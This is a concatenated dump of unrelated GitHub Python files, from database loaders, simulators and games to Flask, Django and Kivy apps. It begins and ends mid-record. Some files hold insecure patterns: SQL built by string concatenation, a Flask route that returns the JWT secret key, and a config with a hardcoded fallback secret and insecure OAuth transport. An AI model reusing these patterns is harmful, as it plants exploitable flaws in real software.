msg='dong'))\n","repo_name":"ShanghaiITVolunteer/AntigenWechatBot","sub_path":"antigen_bot/plugins/ding_dong.py","file_name":"ding_dong.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"37"}
+{"seq_id":"28291260750","text":"#Albert Wan\n#SoftDev1 pd9\n#K17 - No Trouble\n#2019-10-10\n\nimport sqlite3   #enable control of an sqlite database\nimport csv       #facilitate CSV I/O\n\n\nDB_FILE=\"discobandit.db\"\n\ndb = sqlite3.connect(DB_FILE) #open if file exists, otherwise create\nc = db.cursor()               #facilitate db ops\n\n#==========================================================\n\n# < < < INSERT YOUR POPULATE-THE-DB CODE HERE > > >\n\n\ncommand = \"CREATE TABLE courses (code TEXT, mark INTEGER, id INTEGER);\"\n#create table in mySql\nc.execute(command)\nwith open('courses.csv') as courseFile:\n    courseReader = csv.DictReader(courseFile)\n    #reads the file\n\n    for row in courseReader:\n#        exec = \"INSERT INTO courses VALUES ('{}', {}, {});\".format(x['code'], x['mark'], x['id'])\n        command = \"INSERT INTO courses VALUES(\\\"\" + row['code'] + \"\\\"\" + \", \" + row['mark'] + \", \" + row['id'] + \");\"\n        #now, you populate values into the table\n        c.execute(command)\ncommand = \"CREATE TABLE students (name TEXT, age INTEGER, id INTEGER);\"\n#create table in mySql\nc.execute(command)\nwith open('students.csv') as studentFile:\n    studentReader = csv.DictReader(studentFile)\n    #reads the file\n    for row in studentReader:\n        exec = \"INSERT INTO students VALUES(\\\"\" + row['name'] + \"\\\"\" + \", \" + row['age'] + \", \" + row['id'] + \");\"\n        #now, you insert each value into the table (or populate)\n        c.execute(exec)\n\n\ndb.commit() #save changes\ndb.close()  #close database\n","repo_name":"bertw2002/workRepo","sub_path":"fall/17_csv2db/db_builder.py","file_name":"db_builder.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"23398645774","text":"import math\nfrom object import Object\nfrom message import Message\nfrom config import Config\nfrom rsuSimulator_method import (\n    getAction, distanceToCar, distanceToRsu\n)\nfrom utils import update\n\n\nclass RsuSimulator(Object):\n\n    def __init__(self, id, xcord, ycord, zcord, optimizer=None):\n        Object.__init__(self)\n        self.id = id\n        self.xcord = xcord\n        self.ycord = ycord\n        self.zcord = zcord\n        self.optimizer = optimizer\n        self.neighbors = []\n\n    def sendToCar(self, car, message, currentTime, network):\n        \"\"\"Simulate send message from rsu to car\n\n        Args:\n            car ([CarSimulator]): [description]\n            message ([Message]): [description]\n            currentTime ([float]): [description]\n            network ([Network]): [description]\n        \"\"\"        \n        # Add index car to list indexCar of message\n        message.indexCar.append(car.id)\n\n        # Simulate tranfer time to car\n        self.simulateTranferTime(\n            preReceive=car.preReceiveFromRsu,\n            meanTranfer=Config.rsuCarMeanTranfer,\n            message=message,\n        )\n\n        # Add current location to list locations of message \n        # and change preReceiveFromRsu of this car\n        message.locations.append(0)\n        car.preReceiveFromRsu = message.currentTime\n        \n        # Check the currentTime of message\n        if message.currentTime > currentTime + Config.cycleTime:\n            car.waitList.append(message)\n        else:\n            network.addToHeap(message)\n    \n    def sendToRsu(self, rsu, message, currentTime, network):\n        \"\"\"Simualte send message from rsu to rsu\n\n        Args:\n            rsu ([RsuSimulator]): [description]\n            message ([Message]): [description]\n            currentTime ([float]): [description]\n            network ([Network]): [description]\n        \"\"\"        \n        # Add index rsu to list indexRsu of message\n        message.indexRsu.append(rsu.id)\n\n        # Simulate tranfer time to rsu\n        self.simulateTranferTime(\n            preReceive=rsu.preReceiveFromRsu,\n            meanTranfer=Config.rsuRsuMeanTranfer,\n            message=message,\n        )\n\n        # Add current location to list locations of message \n        # and change preReceiveFromRsu of this rsu\n        message.locations.append(1)\n        rsu.preReceiveFromRsu = message.currentTime\n        \n        # Check the currentTime of message\n        if message.currentTime > currentTime + Config.cycleTime:\n            rsu.waitList.append(message)\n        else:\n            network.addToHeap(message)\n\n    def sendToGnb(self, gnb, message, currentTime, network):\n        \"\"\"Simualte send message from rsu to gnb\n\n        Args:\n            gnb ([GnbSimulator]): [description]\n            message ([Message]): [description]\n            currentTime ([float]): [description]\n            network ([Network]): [description]\n        \"\"\"        \n\n        # Simulate tranfer time to rsu\n        self.simulateTranferTime(\n            preReceive=gnb.preReceiveFromRsu,\n            meanTranfer=Config.rsuGnbMeanTranfer,\n            message=message,\n        )\n\n        # Add current location to list locations of message \n        # and change preReceiveFromRsu of gnb\n        message.locations.append(2)\n        gnb.preReceiveFromRsu = message.currentTime\n        \n        # Check the currentTime of message\n        if message.currentTime > currentTime + Config.cycleTime:\n            gnb.waitList.append(message)\n        else:\n            network.addToHeap(message)\n\n    def process(self, message, currentTime,network):\n        # Simulate process time\n        self.simulateProcessTime(\n            processPerSecond=Config.rsuProcessPerSecond,\n            message=message,\n        )\n        if message.currentTime > currentTime + Config.cycleTime:\n            self.waitList.append(message)\n        else:\n            network.addToHeap(message)\n\n    def distanceToCar(self, car, currentTime, func=distanceToCar):\n        return func(self, car, currentTime)\n\n    def distanceToRsu(self, rsu, func=distanceToRsu):\n        return func(self, rsu)  \n\n    def working(self, message, currentTime, network, getAction=getAction):\n        if message.isDone:\n            rsu_id = message.indexRsu[0]\n            if rsu_id != self.id:\n                self.sendToRsu(network.rsuList[rsu_id], message, currentTime, network)\n                return\n            startCar = network.carList[message.indexCar[0]]\n            if startCar.getPosition(currentTime) > Config.roadLength or \\\n                self.distanceToCar(startCar, currentTime) > Config.rsuCoverRadius:\n                message.isDrop = True\n                network.output.append(message)\n                if self.optimizer is not None:\n                    update(message, network, code=\"rsu\")\n            else:\n                self.sendToCar(startCar, message, currentTime, network)\n        else:\n            action, nextLocation = getAction(self, message, currentTime, network)\n            # 0: sendToRsu, 1:sendToGnb, 2:process\n            if action == 1: \n                self.sendToRsu(nextLocation, message, currentTime, network)\n            elif action == 2:\n                self.sendToGnb(nextLocation, message, currentTime, network)\n            else:\n                self.process(message, currentTime, network)\n\n        \n\n","repo_name":"youc680/Mobile-Edge-Computing-pyt","sub_path":"rsu/rsuSimulator.py","file_name":"rsuSimulator.py","file_ext":"py","file_size_in_byte":5352,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"}
+{"seq_id":"37572602723","text":"import pygame\nimport sys\nfrom random import randint\nimport configuration as c\n\npygame.init()\nclock = pygame.time.Clock()\n\n# Load\nscreen = pygame.display.set_mode((c.screen_width, c.screen_height))  # Устанавливаем рабочую область\nrocket = pygame.image.load('Images/Rocket.png').convert_alpha()\nrocket = pygame.transform.scale(rocket, (rocket.get_width() // 3, rocket.get_height() // 3))\nrocket_position = rocket.get_rect(centerx=c.screen_width / 2, centery=c.screen_height / 2)\n# Planets\nplanet_one = pygame.image.load('Images/object_planet_1.png').convert_alpha()\nplanet_one = pygame.transform.scale(planet_one, (planet_one.get_width() // 2, planet_one.get_height() // 2))\nplanet_pos = planet_one.get_rect(centerx=c.screen_width / 2, centery=c.screen_height / 2)\n\n# Program icon and name\npygame.display.set_caption(\"EAM1studio: Snail Space\")\npygame.display.set_icon(pygame.image.load('Images/Rocket.png'))\n\n# Colors\nbg_color = (0, 102, 102)\n\n\n# Planet\nclass Planet_sprite(pygame.sprite.Sprite):\n    \"\"\"Наследование класса спрайтов\"\"\"\n    def __init__(self, pos, group):\n        super().__init__(group)  # Переносим функцию из родителького класса\n        self.image = pygame.image.load('Images/object_planet_1.png').convert_alpha()\n        self.rect = self.image.get_rect(topleft=pos)\n\n\ncamera_group = pygame.sprite.Group()\nfor i in range(20):\n    random_x = randint(0, 1000)\n    random_y = randint(0, 1000)\n    Planet_sprite(pos=(random_x, random_y), group=camera_group)\nspeed = 10\n\n\ndef game():\n    while True:\n\n        game_mouse_pos = pygame.mouse.get_pos()\n        # game loop\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                pygame.quit()\n                sys.exit()\n\n        keys = pygame.key.get_pressed()\n        if keys[pygame.K_LEFT]:\n            rocket_position.x -= speed\n            if rocket_position.x < 0:\n                rocket_position.x = 0\n        elif keys[pygame.K_RIGHT]:\n            rocket_position.x += speed\n            if rocket_position.x > c.screen_width - rocket_position.width:\n                rocket_position.x = c.screen_width - rocket_position.width\n        elif keys[pygame.K_UP]:\n            rocket_position.y -= speed\n            if rocket_position.y < 0:\n                rocket_position.y = 0\n        elif keys[pygame.K_DOWN]:\n            rocket_position.y += speed\n            if rocket_position.y > c.screen_height - rocket_position.height:\n                rocket_position.y = c.screen_height - rocket_position.height\n\n        screen.fill(bg_color)\n        screen.blit(rocket, rocket_position)\n        screen.blit(planet_one, planet_pos)\n\n        camera_group.draw(screen)\n        camera_group.update()\n\n        pygame.display.update()\n\n        clock.tick(c.FPS)\n\n\ngame()\n","repo_name":"EAMstudio/game_snail_space","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"71621651947","text":"\"\"\"\nUtilities for working with objects that expose data fields.\n\"\"\"\n\nfrom typing import Dict, Any\n\nfrom atmfjstc.lib.py_lang_utils.token import Token\n\n\nNO_DEFAULT = Token(str_='NO_DEFAULT', repr_='NO_DEFAULT')\n\n\ndef get_obj_likely_data_fields_with_defaults(obj: object, include_properties=True) -> Dict[str, Any]:\n    \"\"\"\n    Heuristically gets a list of all the likely public data fields in an arbitrary object, with their apparent defaults.\n\n    To reiterate, the function is heuristic. There is no standard way for marking which fields in an arbitrary class\n    are intended to represent public data. Among its many limitations, this function will be confused by data fields\n    which store functions, and it also cannot read defaults set in the constructor.\n\n    Args:\n        obj: The object to analyze\n        include_properties: If True, properties are considered data fields and included in the result (although it is\n            of course impossible to know their \"default\" value)\n\n    Returns:\n        A dict of field names mapped to their apparent defaults (or the token NO_DEFAULT if one could not be\n        ascertained). The fields \"defined\" in the object's ancestor classes will appear first.\n    \"\"\"\n\n    # Phase 1\n    fields = dict()\n\n    for cls in reversed(obj.__class__.__mro__):\n        for field in getattr(cls, '__annotations__', dict()).keys():\n            if field not in fields:\n                fields[field] = NO_DEFAULT\n\n        slots = set(getattr(cls, '__slots__', []))\n        fields.update((k, NO_DEFAULT if k in slots else v) for k, v in cls.__dict__.items())\n\n    if hasattr(obj, '__dict__'):\n        for field in obj.__dict__.keys():\n            if field not in fields:\n                fields[field] = NO_DEFAULT\n\n    def _is_data_field(field):\n        if field.startswith('_'):\n            return False\n\n        default = fields[field]\n        if default is NO_DEFAULT:\n            return True\n\n        if isinstance(default, property) and include_properties:\n            return True\n\n        if hasattr(default, '__get__'):\n            return False  # All other descriptors (methods etc) are trashed\n\n        return True\n\n    def _adjust_default(default):\n        return NO_DEFAULT if isinstance(default, property) else default\n\n    return {field: _adjust_default(default) for field, default in fields.items() if _is_data_field(field)}\n","repo_name":"goc9000/python-library","sub_path":"py-lang-utils/src/atmfjstc/lib/py_lang_utils/data_objs.py","file_name":"data_objs.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"22157025099","text":"import pickle\r\nimport numpy as np\r\nimport os\r\n# 数据的截取\r\n# 32个人，每个人的40次实验分成40个文件保存\r\n# 去掉3秒基线后，对60秒的数据，截取中间20s进行实验\r\n# 将这20s的数据分成4个5s，每个data为32*640\r\npathname1 = \"E:\\\\DEAP数据集python\\\\data_preprocessed_python\\\\\"\r\npathname3 = \"E:\\\\DEAP数据集python\\\\处理后数据\\\\\"\r\n\r\nfor i in range(0, 32):\r\n    if (i+1) < 10:\r\n        filename1 = \"s0%d.dat\" % (i+1)\r\n    if (i+1) >= 10:\r\n        filename1 = \"s%d.dat\" % (i+1)\r\n    print(pathname1 + filename1)\r\n    s = open(pathname1 + filename1, \"rb\")\r\n    x = pickle.load(s, encoding=\"latin1\")   # x为字典，键是'data'和'labels'，值是列表\r\n    data1 = x['data']\r\n    labels1 = x['labels']\r\n    data2 = np.array(data1)\r\n    labels2 = np.array(labels1)\r\n    if (i+1) < 10:\r\n        pathname2 = \"s0%d\\\\\" % (i+1)\r\n    if (i+1) >= 10:\r\n        pathname2 = \"s%d\\\\\" % (i+1)\r\n    pathname4 = pathname3 + pathname2\r\n    if not os.path.exists(pathname4):   # 创建文件夹\r\n        os.mkdir(pathname4)\r\n\r\n    for j in range(0, 40):\r\n        data31 = data2[j, 0:32, (3 * 128 + 1):(63 * 128 + 1)]\r\n        # data31 = data2[j, 0:32, (24 * 128 + 1):(29 * 128 + 1)]\r\n        # data32 = data2[j, 0:32, (29 * 128 + 1):(34 * 128 + 1)]\r\n        # data33 = data2[j, 0:32, (34 * 128 + 1):(39 * 128 + 1)]\r\n        # data34 = data2[j, 0:32, (39 * 128 + 1):(44 * 128 + 1)]\r\n        labels3 = labels2[j, :]\r\n\r\n        if labels3[0] > 5:      # 给valence加标签\r\n            labels3 = np.append(labels3, 2)\r\n        else:\r\n            labels3 = np.append(labels3, 1)\r\n        if labels3[1] > 5:      # 给arousal加标签\r\n            labels3 = np.append(labels3, 2)\r\n        else:\r\n            labels3 = np.append(labels3, 1)\r\n\r\n        if (i+1) < 10:\r\n            filename2 = \"s0%d-%d.dat\" %((i+1), (j+1))\r\n        if (i+1) >= 10:\r\n            filename2 = \"s%d-%d.dat\" %((i+1), (j+1))\r\n        dict1 = {'data': data31,  'labels': labels3}    # 把数据保存成字典\r\n        # dict1 = {'data1': data31, 'data2': data32, 'data3': data33,\r\n        #          'data4': data34, 'labels': labels3}    # 把数据保存成字典\r\n\r\n        fp = open(pathname4 + filename2, 'wb')\r\n        pickle.dump(dict1, fp)\r\n        fp.close()\r\n","repo_name":"xxzaaa/Emotion-recognition","sub_path":"Interception.py","file_name":"Interception.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"13639021740","text":"import sys\nimport random\nfrom functools import wraps\nfrom flask_cors import CORS\nfrom datetime import datetime\n\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\nfrom werkzeug.security import generate_password_hash, check_password_hash\nfrom flask import Flask, request, jsonify\n\nimport json\nimport jwt\n\nimport pymongo\n\nimport numpy as np\nfrom matplotlib.figure import Figure\nimport matplotlib.dates\n\nimport base64\nfrom io import BytesIO\n\napp = Flask(__name__)\nCORS(app)\n\n@app.before_first_request\ndef setup_apis():\n    global secret_key\n    global db\n    global watsonapi\n    global rec_db\n\n    with open(\"secret_key.key\", \"r\") as f:\n        secret_key = f.read()\n        if len(secret_key) < 3:\n            print(\"key is too short or does not exist, run gen_secret.py\")\n            shutdown = request.environ.get('werkzeug.server.shutdown')\n            shutdown()\n    with open(\"config.json\", \"r\") as f:\n        config = json.load(f)\n    with open(\"RecommenderSystem/csvjson.json\") as f:\n        rec_db = json.load(f)\n    client = pymongo.MongoClient(config['database_link'])\n    db = client.app\n    watsonapi = config['watson']\n\n\ndef require_jwt(f):\n    @wraps(f)\n    def wrapper(*args, **kwargs):\n        token = str(request.headers['Authorization'])\n        try:\n            token = jwt.decode(token, secret_key, algorithms=['HS256'])\n        except jwt.exceptions.PyJWTError as e:\n            return jsonify({\"error\":str(e)}), 401\n        kwargs['username'] = token['username']\n        return f(*args, **kwargs)\n    return wrapper\n\n@app.route('/get-recs', methods=['POST'])\n@require_jwt\ndef get_recs(username):\n    return jsonify([random.choice(rec_db) for x in range(4)])\n\ndef get_sentiment(feedback):\n    data = {\n      \"text\": feedback,\n      \"features\": {\n        \"keywords\": {\n          \"emotion\": True\n        }\n      }\n    }\n\n    print(json.dumps(data))\n    req = requests.post(watsonapi['url'], data=json.dumps(data),\n            headers = {\"Content-Type\": \"application/json\"},\n            auth=HTTPBasicAuth('apikey', watsonapi['apikey']))\n    return req.json(), req.status_code\n\n@app.route('/store-feedback-sentiment', methods=['POST'])\n@require_jwt\ndef store_feedback_sentiment(username):\n    feedback = request.json['feedback']\n    time_spent = request.json['time-spent']\n    sentiment, status = get_sentiment(feedback)\n    sentiment = sentiment['keywords'][0]\n    print(sentiment)\n    sentiment['ibm'] = 'this is ibm\\'s response btw'\n    # TODO: actually store it somewhere\n\n    happiness = sentiment['emotion']['joy']\n\n    db.app.update_one({'username': username}, {'$push' : {'graph_data': \n        {'happiness': happiness, 'time_spent': time_spent, 'time': datetime.now()}}})\n\n    return sentiment\n\n@app.route('/graph-data', methods=['GET'])\n@require_jwt\ndef graph_data(username):\n    data = db.app.find_one({'username': username})\n#    import pdb; pdb.set_trace()\n    x = [np.datetime64(d['time']) for d in data['graph_data']]\n    hap = [d['happiness'] for d in data['graph_data']]\n    spent = [d['time_spent'] for d in data['graph_data']]\n    print(x, hap, spent)\n    fig = Figure()\n    ax = fig.subplots()\n    ax.plot([hap, matplotlib.dates.date2num(x)])\n    buf = BytesIO()\n    fig.savefig(buf, format=\"png\")\n    data = base64.b64encode(buf.getbuffer()).decode(\"ascii\")\n\n    ax.plot([spent, matplotlib.dates.date2num(x)])\n    buf = BytesIO()\n    fig.savefig(buf, format=\"png\")\n    timespent = base64.b64encode(buf.getbuffer()).decode(\"ascii\")\n    return jsonify({\"happiness\": data, \"time_spent\": timespent})\n\n@app.route(\"/signin\", methods=['POST'])\ndef signin():\n    if request.method == 'POST':\n        username = request.json['username']\n        password = request.json['password']\n        user = db.app.find_one({'username': username})\n        if not user:\n            return jsonify({\"error\": \"No such user\"}), 409\n        if not check_password_hash(user['password'], password):\n            return jsonify({\"error\": \"Wrong password\"}), 409\n\n        token = jwt.encode({'username':username}, secret_key, algorithm=\"HS256\")\n\n        return jsonify({\"jwt\": token})\n\n@app.route(\"/signup\", methods=['POST'])\ndef signup():\n    if request.method == 'POST':\n        username = request.json['username']\n        password = request.json['password']\n        user = db.app.find_one({'username': username})\n        if not user:\n            user = {'username': username, \n                'password': generate_password_hash(password),\n                'graph_data': [],\n                }\n            result = db.app.insert_one(user)\n            return jsonify({'success': result is not None})\n        if user:\n            return jsonify({'error': 'user already exists'}), 409\n\n@app.route(\"/\")\ndef hello_world():\n    return \"<p>Hello, World!</p>\" + secret_key\n\n#flask run -h 0.0.0.0 -p 3000\n\n","repo_name":"c00lme/Shanthi","sub_path":"backend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"38964578191","text":"class ClientOptions(object):\n    \"\"\"Client Options used to set options on clients.\n\n    Args:\n        api_endpoint (Optional[str]): The desired API endpoint, e.g.,\n            compute.googleapis.com\n        client_cert_source (Optional[Callable[[], (bytes, bytes)]]): A callback\n            which returns client certificate bytes and private key bytes both in\n            PEM format. ``client_cert_source`` and ``client_encrypted_cert_source``\n            are mutually exclusive.\n        client_encrypted_cert_source (Optional[Callable[[], (str, str, bytes)]]):\n            A callback which returns client certificate file path, encrypted\n            private key file path, and the passphrase bytes.``client_cert_source``\n            and ``client_encrypted_cert_source`` are mutually exclusive.\n        quota_project_id (Optional[str]): A project name that a client's\n            quota belongs to.\n        credentials_file (Optional[str]): A path to a file storing credentials.\n        scopes (Optional[Sequence[str]]): OAuth access token override scopes.\n\n    Raises:\n        ValueError: If both ``client_cert_source`` and ``client_encrypted_cert_source``\n            are provided.\n    \"\"\"\n\n    def __init__(\n        self,\n        api_endpoint=None,\n        client_cert_source=None,\n        client_encrypted_cert_source=None,\n        quota_project_id=None,\n        credentials_file=None,\n        scopes=None,\n    ):\n        if client_cert_source and client_encrypted_cert_source:\n            raise ValueError(\n                \"client_cert_source and client_encrypted_cert_source are mutually exclusive\"\n            )\n        self.api_endpoint = api_endpoint\n        self.client_cert_source = client_cert_source\n        self.client_encrypted_cert_source = client_encrypted_cert_source\n        self.quota_project_id = quota_project_id\n        self.credentials_file = credentials_file\n        self.scopes = scopes\n\n    def __repr__(self):\n        return \"ClientOptions: \" + repr(self.__dict__)\n\n\ndef from_dict(options):\n    \"\"\"Construct a client options object from a dictionary.\n\n    Args:\n        options (Dict[str, Any]): A dictionary with client options.\n            See the docstring for ClientOptions for details on valid arguments.\n    \"\"\"\n\n    client_options = ClientOptions()\n\n    for key, value in options.items():\n        if hasattr(client_options, key):\n            setattr(client_options, key, value)\n        else:\n            raise ValueError(\"ClientOptions does not accept an option '\" + key + \"'\")\n\n    return client_options\n","repo_name":"maximgeller/notion2googlecal","sub_path":"venv/Lib/site-packages/google/api_core/client_options.py","file_name":"client_options.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"37"}
+{"seq_id":"15223310850","text":"import sys, bisect\nread = sys.stdin.readline\nsys.setrecursionlimit(10**6)\n\nnums = []\nwhile True:\n    try:\n        nums.append(int(read()))\n    except:\n        break\nans = []\n\ndef postorder(start,end):\n    if start >= end:\n        return\n    mid = bisect.bisect(nums,nums[start],start,end)\n    postorder(start+1,mid)\n    postorder(mid,end)\n    ans.append(nums[start])\n\npostorder(0,len(nums))\nprint('\\n'.join(map(str,ans)))","repo_name":"danny6883/algorithm","sub_path":"BOJ/boj5639.py","file_name":"boj5639.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"12289169041","text":"import os\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\n# for testing oauth on http\nos.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'\n\n\nAPP_NAME = 'jiayangpan'\nSECRET_KEY = os.environ.get('SECRET_KEY') or 'cai-bu-dao-ba'\n\nDEBUG = True\nSQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'dev.db')\nSQLALCHEMY_TRACK_MODIFICATIONS = False\n\n# google auth2 info\nGOOGLE_CLIENT_ID = ''\nGOOGLE_CLIENT_SECRET = ''\nGOOGLE_REDIRECT_URI = 'http://localhost:5000/oauth2callback/google'\nGOOGLE_AUTH_URI = 'https://accounts.google.com/o/oauth2/auth'\nGOOGLE_TOKEN_URI = 'https://accounts.google.com/o/oauth2/token'\nGOOGLE_AUTH_SCOPE = ['https://www.googleapis.com/auth/userinfo.email',\n                     'https://www.googleapis.com/auth/userinfo.profile']\nGOOGLE_USER_INFO = 'https://www.googleapis.com/userinfo/v2/me'\n\n# facebook authw info\nFACEBOOK_APP_ID = ''\nFACEBOOK_APP_SECRET = ''\nFACEBOOK_REDIRECT_URI = 'http://localhost:5000/oauth2callback/facebook'\nFACEBOOK_AUTH_URI = 'https://www.facebook.com/dialog/oauth'\nFACEBOOK_TOKEN_URI = 'https://graph.facebook.com/oauth/access_token'\nFACEBOOK_AUTH_SCOPE = []\nFACEBOOK_USER_INFO = 'https://graph.facebook.com/me?fields=name,email,picture.type(large)' # noqa\n","repo_name":"yuezhang91/jiayangpan","sub_path":"config/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"470457771","text":"\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.button import Button\nfrom kivy.uix.popup import Popup\nfrom kivy.uix.tabbedpanel import TabbedPanelItem\nfrom kivy.uix.spinner import Spinner\nfrom kivy.uix.rst import RstDocument\n\nfrom value_table import ValueTable\nfrom models import Class\nfrom models import Race\nfrom models import session\n\nfrom constants import (\n    FONT_SMALL, FONT_MEDIUM, FONT_LARGE, FONT_XLARGE, FONT_XXLARGE, BLACK,\n    GREY, WHITE\n)\n\nclass CharacterDetails(BoxLayout):\n    orientation = 'horizontal'\n    size_hint = (1, .1)\n\n\nclass CharacterRace(BoxLayout):\n    orientation = 'horizontal'\n\n    def __init__(self, character, *args, **kwargs):\n        self.character = character\n        super(CharacterRace, self).__init__(*args, **kwargs)\n\n        spinner = Spinner(\n            font_size=FONT_XLARGE,\n            text=self.character.race or '',\n            values=[race.name for race in session.query(Race)])\n\n        def view_details(_):\n            details = Popup(size_hint=(.8, .8), title=self.character.race)\n            race = (session.query(Race)\n                    .filter(Race.name == self.character.race)\n                    .scalar())\n            if race:\n                text = race.details\n            else:\n                text = \"Race '%s' not found\" % self.character.race\n\n            details.add_widget(RstDocument(text=text))\n            details.open()\n\n        spinner.bind(text=self.update)\n        self.add_widget(spinner)\n        self.add_widget(Button(\n            text=\"Race details\",\n            font_size=FONT_XLARGE,\n            on_press=view_details))\n\n\n\n    def update(self, spinner, race):\n        self.character.race = race\n        self.character = session.merge(self.character)\n        session.commit()\n\n\nclass CharacterClass(BoxLayout):\n    orientation = 'horizontal'\n\n    def __init__(self, character, *args, **kwargs):\n        self.character = character\n        super(CharacterClass, self).__init__(*args, **kwargs)\n\n        spinner = Spinner(\n            font_size=FONT_XLARGE,\n            text=self.character.class_ or '',\n            values=[class_.name for class_ in session.query(Class)])\n\n        spinner.bind(text=self.update)\n\n        def view_details(_):\n            details = Popup(size_hint=(.8, .8), title=self.character.class_)\n            class_ = (session.query(Class)\n                      .filter(Class.name == self.character.class_)\n                      .scalar())\n            if class_:\n                text = class_.details\n            else:\n                text = \"Class_ '%s' not found\" % self.character.class_\n\n            details.add_widget(RstDocument(text=text))\n            details.open()\n\n        self.add_widget(spinner)\n        self.add_widget(Button(\n            text=\"Class details\",\n            font_size=FONT_XLARGE,\n            on_press=view_details))\n\n    def update(self, spinner, class_):\n        self.character.class_ = class_\n        self.character = session.merge(self.character)\n        session.commit()\n\n\n\nclass StatTab(TabbedPanelItem):\n\n    def __init__(self, character, *args, **kwargs):\n        super(StatTab, self).__init__(*args, **kwargs)\n        self.text = 'Stats'\n        self.character = character\n\n        self.content = BoxLayout(orientation='vertical', size_hint=(1, 1))\n        self.content.spacing = 10\n\n        # General\n        details = CharacterDetails()\n        self.content.add_widget(details)\n        details.add_widget(CharacterRace(self.character))\n        details.add_widget(CharacterClass(self.character))\n\n        # Modifiers\n        modifiers = ValueTable(\n            character, character.modifiers, prefix='+', size_hint=(1, .3))\n        self.content.add_widget(modifiers)\n\n        # Auxiliary values\n        aux_values = ValueTable(\n            character, character.aux_values, size_hint=(1, .3))\n        self.content.add_widget(aux_values)\n","repo_name":"millerjs/celonya","sub_path":"character_stats.py","file_name":"character_stats.py","file_ext":"py","file_size_in_byte":3883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36675051935","text":"from django.core.urlresolvers import reverse\nfrom django.http import HttpResponseRedirect\nfrom django.views.generic import ListView, CreateView\nfrom django.views.generic.edit import FormMixin\n\nfrom .forms import QuestionForm, AnswerForm\nfrom .models import Question, Answer, Tag\n\n\nclass QuestionListView(ListView):\n    model = Question\n    paginate_by = 20\n    template_name = 'qa/list.html'\n    context_object_name = 'questions'\n\n    def get_queryset(self):\n        queryset = super(QuestionListView, self).get_queryset()\n        order_by = self.request.GET.get('order_by', None)\n        return queryset.ordering_if_hot(order_by)\n\n    def get_context_data(self, **kwargs):\n        context = super(QuestionListView, self).get_context_data(**kwargs)\n        order_by = self.request.GET.get('order_by', None)\n        if order_by == 'hot':\n            context['hot'] = True\n        return context\n\n\nclass QuestionSearchListView(QuestionListView):\n    template_name = 'qa/search.html'\n\n    def get_queryset(self):\n        queryset = super().get_queryset()\n        search_string = self.request.GET.get('q', None)\n        return queryset.search(search_string)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['current_q'] = self.request.GET.get('q')\n        return context\n\n\nclass QuestionTagListView(QuestionListView):\n    template_name = 'qa/tag.html'\n\n    def get_queryset(self):\n        queryset = super().get_queryset()\n        tag = self.kwargs.get('tag')\n        queryset = queryset.filter(tags__title=tag)\n        return queryset.ordering()\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['current_tag'] = 'tag:' + self.kwargs.get('tag')\n        return context\n\n\nclass QuestionUserListView(QuestionListView):\n    template_name = 'qa/user.html'\n\n    def get_queryset(self):\n        queryset = super().get_queryset()\n        username = self.kwargs.get('username', None)\n        return queryset.get_user_questions(username)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        username = self.kwargs.get('username', None)\n        if username is not None:\n            context['username'] = username\n        return context\n\n\nclass QuestionCreateView(CreateView):\n    template_name = 'qa/create.html'\n    form_class = QuestionForm\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['tags'] = Tag.objects.all()  # for autocomplate\n        return context\n\n    def form_valid(self, form):\n        obj = form.save(commit=False)\n        tags = self.request.POST.get('tags', False)\n        obj.save_with_arguments(self.request.user, tags)\n        return HttpResponseRedirect(reverse('qa:detail', kwargs={'slug': obj.slug}))\n\n\nclass QuestionDetailWithAnswerListView(FormMixin, ListView):\n    template_name = 'qa/detail.html'\n    context_object_name = 'answers'\n    model = Answer\n    paginate_by = 30\n    question = None\n    form_class = AnswerForm\n\n    def get_initial(self):\n        return {'question': self._get_question().id}\n\n    def _get_question(self):\n        if self.question is None:\n            slug = self.kwargs.get('slug', None)\n            self.question = Question.get_question(slug)\n        return self.question\n\n    def get_context_data(self, **kwargs):\n        context = super(QuestionDetailWithAnswerListView, self).get_context_data(**kwargs)\n        context['question'] = self._get_question()\n        return context\n\n    def get_queryset(self):\n        return self.model.objects.filter(question=self._get_question()).order_by('-vote_count', '-create_at')\n\n    def post(self, request, *args, **kwargs):\n        self.object_list = self.get_queryset()\n        form = self.get_form()\n        if form.is_valid():\n            return self.form_valid(form)\n        else:\n            return self.form_invalid(form)\n\n    def form_valid(self, form):\n        obj = form.save(commit=False)\n        obj.create_by = self.request.user\n        